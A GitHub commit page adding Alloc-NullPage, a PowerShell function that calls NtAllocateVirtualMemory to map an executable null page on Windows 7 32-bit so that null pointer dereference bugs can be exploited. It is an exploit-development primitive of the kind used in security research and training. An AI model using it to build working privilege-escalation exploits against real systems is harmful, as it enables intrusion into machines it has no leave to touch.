-
Notifications
You must be signed in to change notification settings - Fork 157
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
61362bf
commit 68cf9e6
Showing
2 changed files
with
63 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
function Alloc-NullPage { | ||
<# | ||
.SYNOPSIS | ||
Alloc null page for null pointer dereference vulnerabilities. | ||
Warning: Only Win7 32-bit! | ||
.DESCRIPTION | ||
Author: Ruben Boonen (@FuzzySec) | ||
License: BSD 3-Clause | ||
Required Dependencies: None | ||
Optional Dependencies: None | ||
.EXAMPLE | ||
C:\PS> $NullPage = Alloc-NullPage -Bytes 1024 | ||
C:\PS> if ($NullPage -eq $true) {...} | ||
#> | ||
|
||
[CmdletBinding()] | ||
param ( | ||
[Parameter(Mandatory = $True)] | ||
[int]$Bytes | ||
) | ||
|
||
Add-Type -TypeDefinition @" | ||
using System; | ||
using System.Diagnostics; | ||
using System.Runtime.InteropServices; | ||
using System.Security.Principal; | ||
public static class Ntdll | ||
{ | ||
[DllImport("ntdll.dll")] | ||
public static extern uint NtAllocateVirtualMemory( | ||
IntPtr ProcessHandle, | ||
ref IntPtr BaseAddress, | ||
uint ZeroBits, | ||
ref UInt32 AllocationSize, | ||
UInt32 AllocationType, | ||
UInt32 Protect); | ||
} | ||
"@ | ||
|
||
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle | ||
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000 | ||
[UInt32]$AllocationSize = $Bytes | ||
$CallResult = [Ntdll]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40) | ||
if ($CallResult -ne 0) { | ||
$false | ||
} else { | ||
$true | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters